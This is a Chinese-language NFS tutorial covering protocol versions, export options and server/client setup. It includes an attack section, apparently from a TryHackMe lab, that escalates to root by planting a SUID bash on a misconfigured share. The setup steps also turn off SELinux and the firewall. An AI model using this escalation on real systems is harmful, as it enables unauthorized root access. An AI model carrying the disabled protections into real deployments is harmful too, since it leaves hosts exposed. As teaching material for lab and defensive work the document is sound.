简介

NFS 是 Network File System 缩写及网络文件系统。NFS主要功能是通过局域网络让不同的主机系统之间可以共享文件或目录。

NFS系统和Windows网络共享、网络驱动器类似, 只不过windows 网络共享用于局域网, NFS用于企业集群架构中, 如果是大型网站, 会用到更复杂的分布式文件系统FastDFS,glusterfs,HDFS,ceph

NFS 协议没有身份验证和授权机制。授权取自配置文件系统的可用信息,服务器负责将客户端提供的用户信息翻译成文件系统的用户信息,并尽可能正确的将相应的授权信息转换成 UNIX 要求的语法

版本 特征
NFSV2 比较旧但是受到许多系统支持,并且最初完全通过 UDP 运行
NFSV3 具有更多的功能,包括可变文件大小和更好的错误报告,但是与 NFSV2 客户端不安全兼容
NFSV4 包括 Kerberos ,通过防火墙和 Internet 工作,不再需要端口映射器,支持 ACL, 应用基于状态的操作,并提高了性能和安全性

NFS 架构

NFS 服务介绍 - 图1

NFS 应用

  1. 用户访问NFS客户端,将请求转化为函数
  2. NFS通过TCP/IP连接服务端
  3. NFS服务端接收请求,会先调用portmap进程进行端口映射
  4. Rpc.nfsd进程用于判断NFS客户端能否连接服务端;
  5. Rpc.mount进程用于判断客户端对服务端的操作权限
  6. 如果通过权限验证,可以对服务端进行操作,修改或读取

NFS 运行原理

NFS 服务介绍 - 图2

NFS 服务介绍 - 图3

攻击

1. 显示可用 NFS 共享

  1. # 显示可用 NFS 共享
  2. $ showmount -e 10.129.14.128

2. 挂载&卸载

  1. # 挂载 NFS 共享
  2. $ mkdir target-NFS
  3. $ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
  4. # -t nfs 挂载的设备类型
  5. $ cd target-NFS
  6. $ tree .
  7. # 卸载
  8. $ cd ..
  9. $ umount ./target-NFS

3. 攻击思路 —> SUID

  1. 1. NFS 访问
  2. 2. Bash 可执行文件上传到 NFS 共享
  3. 3. 利用 NFS 配置错误,设置 BASH SUID 权限
  4. 4. 利用获得的 SHELL 去执行 SUID Bash 程序实现权限提升
  5. ┌──(jtzJTZ)-[~/Desktop/Temp/TryHackMe]
  6. └─$ sudo mount -t nfs 10.10.236.239:/home ./NFS/ -o nolock[sudo] password for jtz:
  7. ┌──(jtzJTZ)-[~/Desktop/Temp/TryHackMe]
  8. └─$ cd NFS
  9. ┌──(rootJTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
  10. └─# cp ../bash .
  11. ┌──(rootJTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
  12. └─# chmod +s bash
  13. ┌──(rootJTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
  14. └─# ls -al
  15. total 1248
  16. drwxr-xr-x 3 root root 4096 Feb 2 11:53 .
  17. drwxr-xr-x 7 jtz jtz 4096 Feb 2 11:52 ..
  18. -rwsr-sr-x 1 root root 1265648 Feb 2 11:53 bash
  19. drwxr-xr-x 5 jtz jtz 4096 Jun 4 2020 cappucino
  20. # 在获取的 SHELL 上执行
  21. $ ./bash -p

NFS 实践

1. 部署 NFS 服务

服务端

  1. 安装相关软件
  1. yum install nfs-utils rpcbind -y # rpcbind是为nfs提供网络
  1. 关闭防火墙和 selinux
  1. setenforce 0
  2. systemctl stop firewalld
  1. 创建一个目录,用于存放共享文件或者目录
  1. mkdir /data
  1. 创建一个系统用户,到时客户端也创建同样用户来统一用户
  1. groupadd www -g 666
  2. useradd www -u 666 -g 666 -M -r -s /sbin/nologin
  1. 修改NFS的配置文件(作用:指定NFS的仓库及权限)
  1. # NFS的配置文件:/etc/exports、/etc/lib/nfs/etab
  2. # 格式:[挂载点] [可以访问的IP]([权限])
  3. vi /etc/exports
  4. 内容:
  5. /data 172.16.1.0/20(rw,sync,all_squash,anonuid=666,anongid=666)
NFS 共享参数 参数作用
rw 读写权限 (常用)
ro 只读权限 (不常用)
root_squash 当 NFS 客户端以 root 管理员访问时,映射为 NFS 服务器的匿名用户(默认)
no_root_squash 当 NFS 客户端以 root 管理员访问时,映射为 NFS 服务器的 root 管理员(不常用)
all_squash 无论 NFS 客户端使用什么账号访问,都映射为 NFS 服务器的匿名用户(常用)
no_all_squash 访客被映射为服务器上相同 uid 的用户(默认)
sync 同时将数据写入到内存和硬盘中,保证数据不丢失数据(常用)
async 优先将数据保存到内存中,然后再写入硬盘,这样效率高,但可能会丢失数据(不常用)
secure 限制客户端只能从小于1024的tcp/ip端口连接服务器 (默认)
insecure 允许客户端从大于1024的tcp/ip端口连接服务器
anonuid 指定匿名访问的用户的本地用户 UID ,默认为 65534
anongid 指定匿名访问用户的本地用户组GID,默认为 65534
wdelay 检查是否有相关的写操作,如果有则将这些写操作一起执行,这样可以提高效率(默认)
no_wdelay 若有写操作则立即执行,应与sync配合使用
subtree_check 若输出目录是一个子目录,则nfs服务器将检查其父目录的权限 (默认)
no_subtree_check 即使输出目录是一个子目录,nfs服务器也不检查其父目录的权限,这样可以提高效率
  1. 启动NFS服务
  1. systemctl start nfs-server rpcbind
  1. 查看NFS的挂载点是否设置成功
  1. # 查看指定服务器的挂载点
  2. showmount -e 172.16.1.31
  3. # 查看本机的挂载点
  4. showmount -e
  1. 给挂载点授权(用于存放共享文件或者目录)
  1. chown -R www.www /data/

客户端

  1. 挂载使用(客户端必须安装nfs-utils)
  1. yum install nfs-utils -y
  2. mount -t nfs 172.16.1.31:/data /opt

2. NFS — 上传文件

客户端

  1. 安装web服务软件及nfs-utils
  1. yum install httpd php -y
  2. yum install nfs-utils -y
  1. 将代码上传到网站根目录(/var/www/html)
  2. 给目录下的文件授权
  1. chown -R www.www /var/www/html
  1. 修改web软件的用户
  1. vim /etc/httpd/conf/httpd.conf
  2. 内容变为:
  3. User www
  4. Group www
  1. 关闭selinux和防火墙
  1. setenforce 0
  2. systemctl disable --now firewalld
  1. 启动web软件
  1. systemctl start httpd
  1. 挂载
  1. cd /var/www/html/
  2. mkdir upload
  3. mount -t nfs 172.16.1.31:/data /var/www/html/upload
  1. 测试: 上传、访问

3. NFS 实现文件共享

  1. 安装web服务软件及nfs-utils
  1. yum install httpd php -y
  2. yum install nfs-utils -y
  1. 将NFS挂载到web网站对应目录
  1. mkdir img
  2. mount -t nfs 172.16.1.31:/data /var/www/html/img/
  1. 开启web服务
  1. systemctl start httpd
  1. 测试

参考文章

NFS(局域网共享文件或者目录)